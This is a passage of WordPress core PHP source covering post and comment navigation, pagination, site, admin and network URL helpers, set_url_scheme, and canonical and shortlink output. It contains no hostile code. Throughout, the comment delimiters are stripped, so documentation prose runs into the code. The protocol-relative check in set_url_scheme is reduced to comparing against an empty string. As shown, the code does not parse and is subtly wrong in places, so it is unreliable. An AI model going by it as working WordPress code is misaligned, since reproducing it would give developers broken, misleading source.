.= '<div class="nav-previous">' . $prev_link . '</div>'; } if ( $next_link ) { $navigation .= '<div class="nav-next">' . $next_link . '</div>'; } $navigation = _navigation_markup( $navigation, 'posts-navigation', $args['screen_reader_text'] ); } return $navigation; } * * Displays the navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * * @param array $args Optional. See get_the_posts_navigation() for available arguments. * Default empty array. function the_posts_navigation( $args = array() ) { echo get_the_posts_navigation( $args ); } * * Retrieves a paginated navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * * @param array $args { * Optional. Default pagination arguments, see paginate_links(). * * @type string $screen_reader_text Screen reader text for navigation element. * Default 'Posts navigation'. * } * @return string Markup for pagination links. function get_the_posts_pagination( $args = array() ) { $navigation = ''; Don't print empty markup if there's only one page. if ( $GLOBALS['wp_query']->max_num_pages > 1 ) { $args = wp_parse_args( $args, array( 'mid_size' => 1, 'prev_text' => _x( 'Previous', 'previous set of posts' ), 'next_text' => _x( 'Next', 'next set of posts' ), 'screen_reader_text' => __( 'Posts navigation' ), ) ); Make sure we get a string back. Plain is the next best thing. if ( isset( $args['type'] ) && 'array' == $args['type'] ) { $args['type'] = 'plain'; } Set up paginated links. $links = paginate_links( $args ); if ( $links ) { $navigation = _navigation_markup( $links, 'pagination', $args['screen_reader_text'] ); } } return $navigation; } * * Displays a paginated navigation to next/previous set of posts, when applicable. * * @since 4.1.0 * * @param array $args Optional. See get_the_posts_pagination() for available arguments. * Default empty array. function the_posts_pagination( $args = array() ) { echo get_the_posts_pagination( $args ); } * * Wraps passed links in navigational markup. * * @since 4.1.0 * @access private * * @param string $links Navigational links. * @param string $class Optional. Custom class for nav element. Default: 'posts-navigation'. * @param string $screen_reader_text Optional. Screen reader text for nav element. Default: 'Posts navigation'. * @return string Navigation template tag. function _navigation_markup( $links, $class = 'posts-navigation', $screen_reader_text = '' ) { if ( empty( $screen_reader_text ) ) { $screen_reader_text = __( 'Posts navigation' ); } $template = ' <nav class="navigation %1$s" role="navigation"> <h2 class="screen-reader-text">%2$s</h2> <div class="nav-links">%3$s</div> </nav>'; * * Filters the navigation markup template. * * Note: The filtered template HTML must contain specifiers for the navigation * class (%1$s), the screen-reader-text value (%2$s), and placement of the * navigation links (%3$s): * * <nav class="navigation %1$s" role="navigation"> * <h2 class="screen-reader-text">%2$s</h2> * <div class="nav-links">%3$s</div> * </nav> * * @since 4.4.0 * * @param string $template The default template. * @param string $class The class passed by the calling function. * @return string Navigation template. $template = apply_filters( 'navigation_markup_template', $template, $class ); return sprintf( $template, sanitize_html_class( $class ), esc_html( $screen_reader_text ), $links ); } * * Retrieves the comments page number link. * * @since 2.7.0 * * @global WP_Rewrite $wp_rewrite * * @param int $pagenum Optional. Page number. Default 1. * @param int $max_page Optional. The maximum number of comment pages. Default 0. * @return string The comments page number link URL. function get_comments_pagenum_link( $pagenum = 1, $max_page = 0 ) { global $wp_rewrite; $pagenum = (int) $pagenum; $result = get_permalink(); if ( 'newest' == get_option('default_comments_page') ) { if ( $pagenum != $max_page ) { if ( $wp_rewrite->using_permalinks() ) $result = user_trailingslashit( trailingslashit($result) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged'); else $result = add_query_arg( 'cpage', $pagenum, $result ); } } elseif ( $pagenum > 1 ) { if ( $wp_rewrite->using_permalinks() ) $result = user_trailingslashit( trailingslashit($result) . $wp_rewrite->comments_pagination_base . '-' . $pagenum, 'commentpaged'); else $result = add_query_arg( 'cpage', $pagenum, $result ); } $result .= '#comments'; * * Filters the comments page number link for the current request. * * @since 2.7.0 * * @param string $result The comments page number link. return apply_filters( 'get_comments_pagenum_link', $result ); } * * Retrieves the link to the next comments page. * * @since 2.7.1 * * @global WP_Query $wp_query * * @param string $label Optional. Label for link text. Default empty. * @param int $max_page Optional. Max page. Default 0. * @return string|void HTML-formatted link for the next page of comments. function get_next_comments_link( $label = '', $max_page = 0 ) { global $wp_query; if ( ! is_singular() ) return; $page = get_query_var('cpage'); if ( ! $page ) { $page = 1; } $nextpage = intval($page) + 1; if ( empty($max_page) ) $max_page = $wp_query->max_num_comment_pages; if ( empty($max_page) ) $max_page = get_comment_pages_count(); if ( $nextpage > $max_page ) return; if ( empty($label) ) $label = __('Newer Comments »'); * * Filters the anchor tag attributes for the next comments page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. return '<a href="' . esc_url( get_comments_pagenum_link( $nextpage, $max_page ) ) . '" ' . apply_filters( 'next_comments_link_attributes', '' ) . '>'. preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&$1', $label) .'</a>'; } * * Displays the link to the next comments page. * * @since 2.7.0 * * @param string $label Optional. Label for link text. Default empty. * @param int $max_page Optional. Max page. Default 0. function next_comments_link( $label = '', $max_page = 0 ) { echo get_next_comments_link( $label, $max_page ); } * * Retrieves the link to the previous comments page. * * @since 2.7.1 * * @param string $label Optional. Label for comments link text. Default empty. * @return string|void HTML-formatted link for the previous page of comments. function get_previous_comments_link( $label = '' ) { if ( ! is_singular() ) return; $page = get_query_var('cpage'); if ( intval($page) <= 1 ) return; $prevpage = intval($page) - 1; if ( empty($label) ) $label = __('« Older Comments'); * * Filters the anchor tag attributes for the previous comments page link. * * @since 2.7.0 * * @param string $attributes Attributes for the anchor tag. return '<a href="' . esc_url( get_comments_pagenum_link( $prevpage ) ) . '" ' . apply_filters( 'previous_comments_link_attributes', '' ) . '>' . preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&$1', $label) .'</a>'; } * * Displays the link to the previous comments page. * * @since 2.7.0 * * @param string $label Optional. Label for comments link text. Default empty. function previous_comments_link( $label = '' ) { echo get_previous_comments_link( $label ); } * * Displays or retrieves pagination links for the comments on the current post. * * @see paginate_links() * @since 2.7.0 * * @global WP_Rewrite $wp_rewrite * * @param string|array $args Optional args. See paginate_links(). Default empty array. * @return string|void Markup for pagination links. function paginate_comments_links( $args = array() ) { global $wp_rewrite; if ( ! is_singular() ) return; $page = get_query_var('cpage'); if ( !$page ) $page = 1; $max_page = get_comment_pages_count(); $defaults = array( 'base' => add_query_arg( 'cpage', '%#%' ), 'format' => '', 'total' => $max_page, 'current' => $page, 'echo' => true, 'add_fragment' => '#comments' ); if ( $wp_rewrite->using_permalinks() ) $defaults['base'] = user_trailingslashit(trailingslashit(get_permalink()) . $wp_rewrite->comments_pagination_base . '-%#%', 'commentpaged'); $args = wp_parse_args( $args, $defaults ); $page_links = paginate_links( $args ); if ( $args['echo'] ) echo $page_links; else return $page_links; } * * Retrieves navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * * @param array $args { * Optional. Default comments navigation arguments. * * @type string $prev_text Anchor text to display in the previous comments link. * Default 'Older comments'. * @type string $next_text Anchor text to display in the next comments link. * Default 'Newer comments'. * @type string $screen_reader_text Screen reader text for nav element. Default 'Comments navigation'. * } * @return string Markup for comments links. function get_the_comments_navigation( $args = array() ) { $navigation = ''; Are there comments to navigate through? if ( get_comment_pages_count() > 1 ) { $args = wp_parse_args( $args, array( 'prev_text' => __( 'Older comments' ), 'next_text' => __( 'Newer comments' ), 'screen_reader_text' => __( 'Comments navigation' ), ) ); $prev_link = get_previous_comments_link( $args['prev_text'] ); $next_link = get_next_comments_link( $args['next_text'] ); if ( $prev_link ) { $navigation .= '<div class="nav-previous">' . $prev_link . '</div>'; } if ( $next_link ) { $navigation .= '<div class="nav-next">' . $next_link . '</div>'; } $navigation = _navigation_markup( $navigation, 'comment-navigation', $args['screen_reader_text'] ); } return $navigation; } * * Displays navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * * @param array $args See get_the_comments_navigation() for available arguments. Default empty array. function the_comments_navigation( $args = array() ) { echo get_the_comments_navigation( $args ); } * * Retrieves a paginated navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * * @see paginate_comments_links() * * @param array $args { * Optional. Default pagination arguments. * * @type string $screen_reader_text Screen reader text for nav element. Default 'Comments navigation'. * } * @return string Markup for pagination links. function get_the_comments_pagination( $args = array() ) { $navigation = ''; $args = wp_parse_args( $args, array( 'screen_reader_text' => __( 'Comments navigation' ), ) ); $args['echo'] = false; Make sure we get a string back. Plain is the next best thing. if ( isset( $args['type'] ) && 'array' == $args['type'] ) { $args['type'] = 'plain'; } $links = paginate_comments_links( $args ); if ( $links ) { $navigation = _navigation_markup( $links, 'comments-pagination', $args['screen_reader_text'] ); } return $navigation; } * * Displays a paginated navigation to next/previous set of comments, when applicable. * * @since 4.4.0 * * @param array $args See get_the_comments_pagination() for available arguments. Default empty array. function the_comments_pagination( $args = array() ) { echo get_the_comments_pagination( $args ); } * * Retrieves the URL for the current site where the front end is accessible. * * Returns the 'home' option with the appropriate protocol. The protocol will be 'https' * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option. * If `$scheme` is 'http' or 'https', is_ssl() is overridden. * * @since 3.0.0 * * @param string $path Optional. Path relative to the home URL. Default empty. * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts * 'http', 'https', 'relative', 'rest', or null. Default null. * @return string Home URL link with optional path appended. function home_url( $path = '', $scheme = null ) { return get_home_url( null, $path, $scheme ); } * * Retrieves the URL for a given site where the front end is accessible. * * Returns the 'home' option with the appropriate protocol. The protocol will be 'https' * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option. * If `$scheme` is 'http' or 'https', is_ssl() is overridden. * * @since 3.0.0 * * @global string $pagenow * * @param int $blog_id Optional. Site ID. Default null (current site). * @param string $path Optional. Path relative to the home URL. Default empty. * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts * 'http', 'https', 'relative', 'rest', or null. Default null. * @return string Home URL link with optional path appended. function get_home_url( $blog_id = null, $path = '', $scheme = null ) { global $pagenow; $orig_scheme = $scheme; if ( empty( $blog_id ) || !is_multisite() ) { $url = get_option( 'home' ); } else { switch_to_blog( $blog_id ); $url = get_option( 'home' ); restore_current_blog(); } if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) { if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow ) $scheme = 'https'; else $scheme = parse_url( $url, PHP_URL_SCHEME ); } $url = set_url_scheme( $url, $scheme ); if ( $path && is_string( $path ) ) $url .= '/' . ltrim( $path, '/' ); * * Filters the home URL. * * @since 3.0.0 * * @param string $url The complete home URL including scheme and path. * @param string $path Path relative to the home URL. Blank string if no path is specified. * @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https', * 'relative', 'rest', or null. * @param int|null $blog_id Site ID, or null for the current site. return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id ); } * * Retrieves the URL for the current site where WordPress application files * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible. * * Returns the 'site_url' option with the appropriate protocol, 'https' if * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is * overridden. * * @since 3.0.0 * * @param string $path Optional. Path relative to the site URL. Default empty. * @param string $scheme Optional. Scheme to give the site URL context. See set_url_scheme(). * @return string Site URL link with optional path appended. function site_url( $path = '', $scheme = null ) { return get_site_url( null, $path, $scheme ); } * * Retrieves the URL for a given site where WordPress application files * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible. * * Returns the 'site_url' option with the appropriate protocol, 'https' if * is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https', * `is_ssl()` is overridden. * * @since 3.0.0 * * @param int $blog_id Optional. Site ID. Default null (current site). * @param string $path Optional. Path relative to the site URL. Default empty. * @param string $scheme Optional. Scheme to give the site URL context. Accepts * 'http', 'https', 'login', 'login_post', 'admin', or * 'relative'. Default null. * @return string Site URL link with optional path appended. function get_site_url( $blog_id = null, $path = '', $scheme = null ) { if ( empty( $blog_id ) || !is_multisite() ) { $url = get_option( 'siteurl' ); } else { switch_to_blog( $blog_id ); $url = get_option( 'siteurl' ); restore_current_blog(); } $url = set_url_scheme( $url, $scheme ); if ( $path && is_string( $path ) ) $url .= '/' . ltrim( $path, '/' ); * * Filters the site URL. * * @since 2.7.0 * * @param string $url The complete site URL including scheme and path. * @param string $path Path relative to the site URL. Blank string if no path is specified. * @param string|null $scheme Scheme to give the site URL context. Accepts 'http', 'https', 'login', * 'login_post', 'admin', 'relative' or null. * @param int|null $blog_id Site ID, or null for the current site. return apply_filters( 'site_url', $url, $path, $scheme, $blog_id ); } * * Retrieves the URL to the admin area for the current site. * * @since 2.6.0 * * @param string $path Optional path relative to the admin URL. * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl(). * 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. function admin_url( $path = '', $scheme = 'admin' ) { return get_admin_url( null, $path, $scheme ); } * * Retrieves the URL to the admin area for a given site. * * @since 3.0.0 * * @param int $blog_id Optional. Site ID. Default null (current site). * @param string $path Optional. Path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Accepts 'http' or 'https', * to force those schemes. Default 'admin', which obeys * force_ssl_admin() and is_ssl(). * @return string Admin URL link with optional path appended. function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) { $url = get_site_url($blog_id, 'wp-admin/', $scheme); if ( $path && is_string( $path ) ) $url .= ltrim( $path, '/' ); * * Filters the admin area URL. * * @since 2.8.0 * * @param string $url The complete admin area URL including scheme and path. * @param string $path Path relative to the admin area URL. Blank string if no path is specified. * @param int|null $blog_id Site ID, or null for the current site. return apply_filters( 'admin_url', $url, $path, $blog_id ); } * * Retrieves the URL to the includes directory. * * @since 2.6.0 * * @param string $path Optional. Path relative to the includes URL. Default empty. * @param string $scheme Optional. Scheme to give the includes URL context. Accepts * 'http', 'https', or 'relative'. Default null. * @return string Includes URL link with optional path appended. function includes_url( $path = '', $scheme = null ) { $url = site_url( '/' . WPINC . '/', $scheme ); if ( $path && is_string( $path ) ) $url .= ltrim($path, '/'); * * Filters the URL to the includes directory. * * @since 2.8.0 * * @param string $url The complete URL to the includes directory including scheme and path. * @param string $path Path relative to the URL to the wp-includes directory. Blank string * if no path is specified. return apply_filters( 'includes_url', $url, $path ); } * * Retrieves the URL to the content directory. * * @since 2.6.0 * * @param string $path Optional. Path relative to the content URL. Default empty. * @return string Content URL link with optional path appended. function content_url( $path = '' ) { $url = set_url_scheme( WP_CONTENT_URL ); if ( $path && is_string( $path ) ) $url .= '/' . ltrim($path, '/'); * * Filters the URL to the content directory. * * @since 2.8.0 * * @param string $url The complete URL to the content directory including scheme and path. * @param string $path Path relative to the URL to the content directory. Blank string * if no path is specified. return apply_filters( 'content_url', $url, $path); } * * Retrieves a URL within the plugins or mu-plugins directory. * * Defaults to the plugins directory URL if no arguments are supplied. * * @since 2.6.0 * * @param string $path Optional. Extra path appended to the end of the URL, including * the relative directory if $plugin is supplied. Default empty. * @param string $plugin Optional. A full path to a file inside a plugin or mu-plugin. * The URL will be relative to its directory. Default empty. * Typically this is done by passing `__FILE__` as the argument. * @return string Plugins URL link with optional paths appended. function plugins_url( $path = '', $plugin = '' ) { $path = wp_normalize_path( $path ); $plugin = wp_normalize_path( $plugin ); $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); if ( !empty($plugin) && 0 === strpos($plugin, $mu_plugin_dir) ) $url = WPMU_PLUGIN_URL; else $url = WP_PLUGIN_URL; $url = set_url_scheme( $url ); if ( !empty($plugin) && is_string($plugin) ) { $folder = dirname(plugin_basename($plugin)); if ( '.' != $folder ) $url .= '/' . ltrim($folder, '/'); } if ( $path && is_string( $path ) ) $url .= '/' . ltrim($path, '/'); * * Filters the URL to the plugins directory. * * @since 2.8.0 * * @param string $url The complete URL to the plugins directory including scheme and path. * @param string $path Path relative to the URL to the plugins directory. Blank string * if no path is specified. * @param string $plugin The plugin file path to be relative to. Blank string if no plugin * is specified. return apply_filters( 'plugins_url', $url, $path, $plugin ); } * * Retrieves the site URL for the current network. * * Returns the site URL with the appropriate protocol, 'https' if * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is * overridden. * * @since 3.0.0 * * @see set_url_scheme() * * @param string $path Optional. Path relative to the site URL. Default empty. * @param string $scheme Optional. Scheme to give the site URL context. Accepts * 'http', 'https', or 'relative'. Default null. * @return string Site URL link with optional path appended. function network_site_url( $path = '', $scheme = null ) { if ( ! is_multisite() ) return site_url($path, $scheme); $current_network = get_network(); if ( 'relative' == $scheme ) $url = $current_network->path; else $url = set_url_scheme( 'http:' . $current_network->domain . $current_network->path, $scheme ); if ( $path && is_string( $path ) ) $url .= ltrim( $path, '/' ); * * Filters the network site URL. * * @since 3.0.0 * * @param string $url The complete network site URL including scheme and path. * @param string $path Path relative to the network site URL. Blank string if * no path is specified. * @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https', * 'relative' or null. return apply_filters( 'network_site_url', $url, $path, $scheme ); } * * Retrieves the home URL for the current network. * * Returns the home URL with the appropriate protocol, 'https' is_ssl() * and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is * overridden. * * @since 3.0.0 * * @param string $path Optional. Path relative to the home URL. Default empty. * @param string $scheme Optional. Scheme to give the home URL context. Accepts * 'http', 'https', or 'relative'. Default null. * @return string Home URL link with optional path appended. function network_home_url( $path = '', $scheme = null ) { if ( ! is_multisite() ) return home_url($path, $scheme); $current_network = get_network(); $orig_scheme = $scheme; if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) ) $scheme = is_ssl() && ! is_admin() ? 'https' : 'http'; if ( 'relative' == $scheme ) $url = $current_network->path; else $url = set_url_scheme( 'http:' . $current_network->domain . $current_network->path, $scheme ); if ( $path && is_string( $path ) ) $url .= ltrim( $path, '/' ); * * Filters the network home URL. * * @since 3.0.0 * * @param string $url The complete network home URL including scheme and path. * @param string $path Path relative to the network home URL. Blank string * if no path is specified. * @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https', * 'relative' or null. return apply_filters( 'network_home_url', $url, $path, $orig_scheme); } * * Retrieves the URL to the admin area for the network. * * @since 3.0.0 * * @param string $path Optional path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. function network_admin_url( $path = '', $scheme = 'admin' ) { if ( ! is_multisite() ) return admin_url( $path, $scheme ); $url = network_site_url('wp-admin/network/', $scheme); if ( $path && is_string( $path ) ) $url .= ltrim($path, '/'); * * Filters the network admin URL. * * @since 3.0.0 * * @param string $url The complete network admin URL including scheme and path. * @param string $path Path relative to the network admin URL. Blank string if * no path is specified. return apply_filters( 'network_admin_url', $url, $path ); } * * Retrieves the URL to the admin area for the current user. * * @since 3.0.0 * * @param string $path Optional. Path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. function user_admin_url( $path = '', $scheme = 'admin' ) { $url = network_site_url('wp-admin/user/', $scheme); if ( $path && is_string( $path ) ) $url .= ltrim($path, '/'); * * Filters the user admin URL for the current user. * * @since 3.1.0 * * @param string $url The complete URL including scheme and path. * @param string $path Path relative to the URL. Blank string if * no path is specified. return apply_filters( 'user_admin_url', $url, $path ); } * * Retrieves the URL to the admin area for either the current site or the network depending on context. * * @since 3.1.0 * * @param string $path Optional. Path relative to the admin URL. Default empty. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Admin URL link with optional path appended. function self_admin_url( $path = '', $scheme = 'admin' ) { if ( is_network_admin() ) { $url = network_admin_url( $path, $scheme ); } elseif ( is_user_admin() ) { $url = user_admin_url( $path, $scheme ); } else { $url = admin_url( $path, $scheme ); } * * Filters the admin URL for the current site or network depending on context. * * @since 4.9.0 * * @param string $url The complete URL including scheme and path. * @param string $path Path relative to the URL. Blank string if no path is specified. * @param string $scheme The scheme to use. return apply_filters( 'self_admin_url', $url, $path, $scheme ); } * * Sets the scheme for a URL. * * @since 3.4.0 * @since 4.4.0 The 'rest' scheme was added. * * @param string $url Absolute URL that includes a scheme * @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login', * 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null. * @return string $url URL with chosen scheme. function set_url_scheme( $url, $scheme = null ) { $orig_scheme = $scheme; if ( ! $scheme ) { $scheme = is_ssl() ? 'https' : 'http'; } elseif ( $scheme === 'admin' || $scheme === 'login' || $scheme === 'login_post' || $scheme === 'rpc' ) { $scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http'; } elseif ( $scheme !== 'http' && $scheme !== 'https' && $scheme !== 'relative' ) { $scheme = is_ssl() ? 'https' : 'http'; } $url = trim( $url ); if ( substr( $url, 0, 2 ) === '' ) $url = 'http:' . $url; if ( 'relative' == $scheme ) { $url = ltrim( preg_replace( '#^\w+:[^/]*#', '', $url ) ); if ( $url !== '' && $url[0] === '/' ) $url = '/' . ltrim($url , "/ \t\n\r\0\x0B" ); } else { $url = preg_replace( '#^\w+:#', $scheme . ':', $url ); } * * Filters the resulting URL after setting the scheme. * * @since 3.4.0 * * @param string $url The complete URL including scheme and path. * @param string $scheme Scheme applied to the URL. One of 'http', 'https', or 'relative'. * @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login', * 'login_post', 'admin', 'relative', 'rest', 'rpc', or null. return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme ); } * * Retrieves the URL to the user's dashboard. * * If a user does not belong to any site, the global user dashboard is used. If the user * belongs to the current site, the dashboard for the current site is returned. If the user * cannot edit the current site, the dashboard to the user's primary site is returned. * * @since 3.1.0 * * @param int $user_id Optional. User ID. Defaults to current user. * @param string $path Optional path relative to the dashboard. Use only paths known to * both site and user admins. Default empty. * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Dashboard URL link with optional path appended. function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) { $user_id = $user_id ? (int) $user_id : get_current_user_id(); $blogs = get_blogs_of_user( $user_id ); if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty($blogs) ) { $url = user_admin_url( $path, $scheme ); } elseif ( ! is_multisite() ) { $url = admin_url( $path, $scheme ); } else { $current_blog = get_current_blog_id(); if ( $current_blog && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ) ) ) ) { $url = admin_url( $path, $scheme ); } else { $active = get_active_blog_for_user( $user_id ); if ( $active ) $url = get_admin_url( $active->blog_id, $path, $scheme ); else $url = user_admin_url( $path, $scheme ); } } * * Filters the dashboard URL for a user. * * @since 3.1.0 * * @param string $url The complete URL including scheme and path. * @param int $user_id The user ID. * @param string $path Path relative to the URL. Blank string if no path is specified. * @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login', * 'login_post', 'admin', 'relative' or null. return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme); } * * Retrieves the URL to the user's profile editor. * * @since 3.1.0 * * @param int $user_id Optional. User ID. Defaults to current user. * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin() * and is_ssl(). 'http' or 'https' can be passed to force those schemes. * @return string Dashboard URL link with optional path appended. function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) { $user_id = $user_id ? (int) $user_id : get_current_user_id(); if ( is_user_admin() ) $url = user_admin_url( 'profile.php', $scheme ); elseif ( is_network_admin() ) $url = network_admin_url( 'profile.php', $scheme ); else $url = get_dashboard_url( $user_id, 'profile.php', $scheme ); * * Filters the URL for a user's profile editor. * * @since 3.1.0 * * @param string $url The complete URL including scheme and path. * @param int $user_id The user ID. * @param string $scheme Scheme to give the URL context. Accepts 'http', 'https', 'login', * 'login_post', 'admin', 'relative' or null. return apply_filters( 'edit_profile_url', $url, $user_id, $scheme); } * * Returns the canonical URL for a post. * * When the post is the same as the current requested page the function will handle the * pagination arguments too. * * @since 4.6.0 * * @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`. * @return string|false The canonical URL, or false if the post does not exist or has not * been published yet. function wp_get_canonical_url( $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } if ( 'publish' !== $post->post_status ) { return false; } $canonical_url = get_permalink( $post ); If a canonical is being generated for the current page, make sure it has pagination if needed. if ( $post->ID === get_queried_object_id() ) { $page = get_query_var( 'page', 0 ); if ( $page >= 2 ) { if ( '' == get_option( 'permalink_structure' ) ) { $canonical_url = add_query_arg( 'page', $page, $canonical_url ); } else { $canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' ); } } $cpage = get_query_var( 'cpage', 0 ); if ( $cpage ) { $canonical_url = get_comments_pagenum_link( $cpage ); } } * * Filters the canonical URL for a post. * * @since 4.6.0 * * @param string $canonical_url The post's canonical URL. * @param WP_Post $post Post object. return apply_filters( 'get_canonical_url', $canonical_url, $post ); } * * Outputs rel=canonical for singular queries. * * @since 2.9.0 * @since 4.6.0 Adjusted to use wp_get_canonical_url(). function rel_canonical() { if ( ! is_singular() ) { return; } $id = get_queried_object_id(); if ( 0 === $id ) { return; } $url = wp_get_canonical_url( $id ); if ( ! empty( $url ) ) { echo '<link rel="canonical" href="' . esc_url( $url ) . '" />' . "\n"; } } * * Returns a shortlink for a post, page, attachment, or site. * * This function exists to provide a shortlink tag that all themes and plugins can target. * A plugin must hook in to provide the actual shortlinks. Default shortlink support is * limited to providing ?p= style links for posts. Plugins can short-circuit this function * via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'} * filter. * * @since 3.0.0. * * @param int $id Optional. A post or site id. Default is 0, which means the current post or site. * @param string $context Optional. Whether the id is a 'site' id, 'post' id, or 'media' id. If 'post', * the post_type of the post is consulted. If 'query', the current query is consulted * to determine the id and context. Default 'post'. * @param bool $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how * and whether to honor this. Default true. * @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks * are not enabled. function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) { * * Filters whether to preempt generating a shortlink for the given post. * * Passing a truthy value to the filter will effectively short-circuit the * shortlink-generation process, returning that value instead. * * @since 3.0.0 * * @param bool|string $return Short-circuit return value. Either false or a URL string. * @param int $id Post ID, or 0 for the current post. * @param string $context The context for the link. One of 'post' or 'query', * @param bool $allow_slugs Whether to allow post slugs in the shortlink. $shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs ); if ( false !== $shortlink ) { return $shortlink; } $post_id = 0; if ( 'query' == $context && is_singular() ) { $post_id = get_queried_object_id(); $post = get_post( $post_id ); } elseif ( 'post' == $context ) { $post = get_post( $id ); if ( ! empty( $post->ID ) ) $post_id = $post->ID; } $shortlink = ''; Return p= link for all public post types. if ( ! empty( $post_id ) ) { $post_type = get_post_type_object( $post->post_type ); if ( 'page' === $post->post_type && $post->ID == get_option( 'page_on_front' ) && 'page' == get_option( 'show_on_front' ) ) { $shortlink = home_url( '/' ); } elseif ( $post_type->public ) { $shortlink = home_url( '?p=' . $post_id ); } } * * Filters the shortlink for a post. * * @since 3.0.0 * * @param string $shortlink Shortlink URL. * @param int $id Post ID, or 0 for the current post. * @param string $context The context for the link. One of 'post' or 'query', * @param bool $allow_slugs Whether to allow post slugs in the shortlink. Not used by default. return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs ); } * * Injects rel=shortlink into the head if a shortlink is defined for the current page. * * Attached to the {@see 'wp_head'} action. * * @since 3.0.0 function wp_shortlink_wp_head() { $shortlink = wp_get_shortlink( 0, 'query' ); if ( empty( $shortlink ) ) return; echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n"; } * * Sends a Link: rel=shortlink header if a shortlink is defined for the current page. * * Attached to the {@see 'wp'} action. * * @since 3.0.0 function wp_shortlink_header() { if ( headers_sent() ) return; $shortlink = wp_get_shortlink(0, 'query'); if ( empty($shortlink) ) return; header('Link: <' . $shortlink . '>; rel=shortlink', false); } * * Displays the shortlink for a post. * * Must be called from inside "The Loop" * * Call like the_shortlink( __( 'Shortlinkage FTW' ) ) * * @since 3.0.0 * * @param string $text Optional The link text or HTML to be displayed. Defaults to 'This is the short link.' * @param string $title Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title. * @param string $before Optional HTML to display before the link. Default empty. * @param string $after Optional HTML to display after the link. Default empty. function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) { $post = get_post(); if ( empty( $text ) ) $text = __('This is the short link.'); if ( empty( $title ) ) $title = the_title_attribute( array( 'echo' => false ) ); $shortlink = wp_get_shortlink( $post->ID ); if ( !empty( $shortlink ) ) { $link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '" title="' . $title . '">' . $text . '</a>'; * * Filters the short link anchor tag for a post. * * @since 3.0.0 * * @param string $link Shortlink anchor tag. * @param string $shortlink Shortlink URL. * @param string $text Shortlink's text. * @param string $title Shortlink's title attribute. $link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title ); echo $before, $link, $after; } } * * Retrieves the avatar URL. * * @since 4.2.0 * * @param mixed $id_or_email The Gravatar to retrieve a URL for. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args { * Optional. Arguments to return instead of the default arguments. * * @type int $size Height and width of the avatar in pixels. Default 96. * @type string $default URL for the default image or a default type. Accepts '404' (return * a 404 instead of a default image), 'retro' (8bit), 'monsterid' (monster), * 'wavatar' (cartoon face), 'indenticon' (the "quilt"), 'mystery', 'mm', * or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), or * 'gravatar_default' (the Gravatar logo). Default is the value of the * 